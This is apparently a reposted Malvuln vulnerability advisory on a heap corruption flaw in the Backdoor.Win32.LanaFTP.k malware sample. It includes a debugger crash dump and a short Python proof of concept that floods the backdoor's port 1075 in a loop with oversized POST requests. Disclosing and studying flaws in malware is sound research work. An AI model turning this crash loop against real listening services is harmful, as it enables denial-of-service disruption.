Backdoor.Win32.LanaFTP.k / Heap Corruption

us malvuln (US) us
Risk: High
Local: No
Remote: Yes

Discovery / credits: Malvuln - (c) 2021 Original source: Contact: Media: Threat: Backdoor.Win32.LanaFTP.k Vulnerability: Heap Corruption Description: The malware listens on TCP port 1075. Third-party attackers who can reach the server can send a specially crafted sequential payload causing a heap corruption. Type: PE32 MD5: e2660742a80433e027ee9bdedc40e190 Vuln ID: MVID-2021-0369 ASLR: False DEP: False Safe SEH: True Disclosure: 10/15/2021 Memory Dump: (5ec.db4): Access violation - code c0000005 (first/second chance not available) eax=0000168f ebx=026b6ad8 ecx=00000000 edx=a0026800 esi=026b6ae0 edi=02680000 eip=776e2d6c esp=04aaf8b8 ebp=04aafa78 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 ntdll!RtlpAllocateHeap+0x37c: 776e2d6c 8b5204 mov edx,dword ptr [edx+4] ds:002b:a0026804=???????? 0:007> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.LanaFTP.k.e2660742a80433e027ee9bdedc40e190.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.LanaFTP.k.e2660742a80433e027ee9bdedc40e190.exe FAULTING_IP: ntdll!RtlpAllocateHeap+37c 776e2d6c 8b5204 mov edx,dword ptr [edx+4] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 776e2d6c (ntdll!RtlpAllocateHeap+0x0000037c) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: a0026804 Attempt to read from address a0026804 PROCESS_NAME: Backdoor.Win32.LanaFTP.k.e2660742a80433e027ee9bdedc40e190.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: a0026804 READ_ADDRESS: a0026804 FOLLOWUP_IP: msvcrt!__CRTDLL_INIT+fa 744c5720 85c0 test eax,eax MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00000db4 BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption_INVALID_POINTER_READ PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption LAST_CONTROL_TRANSFER: from 776e16b7 to 776e2d6c STACK_TEXT: 04aafa78 776e16b7 00000208 00000210 0268039c ntdll!RtlpAllocateHeap+0x37c 04aafac8 776e13ee 002c0008 00000000 00000000 ntdll!RtlpAllocateHeapInternal+0x2b7 04aafae4 77700ee3 02680000 002c0008 00000208 ntdll!RtlAllocateHeap+0x3e 04aafb14 74a0f6f6 00000000 74490000 02843330 ntdll!RtlProcessFlsData+0x53 04aafb28 744c5720 00000001 02843330 04aafb50 KERNELBASE!FlsSetValue+0x46 04aafb3c 7770e746 74490000 00000002 00000000 msvcrt!__CRTDLL_INIT+0xfa 04aafb5c 776dcbef 744c5610 74490000 00000002 ntdll!LdrxCallInitRoutine+0x16 04aafba8 776da6dd 00000002 00000000 f0911053 ntdll!LdrpCallInitRoutine+0x7f 04aafc98 77703b28 f091103b 04aafd24 776a0000 ntdll!LdrpInitializeThread+0x1ed 04aafcf0 7770370e 00000000 00000000 04aafd10 ntdll!_LdrpInitialize+0x40d 04aafd00 777036bc 00000000 f09111db 00000000 ntdll!LdrpInitialize+0x34 04aafd10 00000000 04aafd24 776a0000 00000000 ntdll!LdrInitializeThunk+0x1c SYMBOL_STACK_INDEX: 5 SYMBOL_NAME: msvcrt!__CRTDLL_INIT+fa FOLLOWUP_NAME: MachineOwner MODULE_NAME: msvcrt IMAGE_NAME: msvcrt.dll DEBUG_FLR_IMAGE_TIMESTAMP: 692918b7 STACK_COMMAND: !heap ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~7s; .ecxr ; kb FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption_c0000005_msvcrt.dll!__CRTDLL_INIT BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption_INVALID_POINTER_READ_msvcrt!__CRTDLL_INIT+fa Exploit/PoC: MALWARE_HOST="x.x.x.x" PORT=1075 sz=1000 def doit(): global sz s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) sz += 1000 JUNK = "A"*sz PAYLOAD="POST /\r\n"+JUNK+ " HTTP\r\n/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n" s.send(PAYLOAD) s.close() if __name__=="__main__": while 1: doit() print("Malvuln") Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021,


Back to Top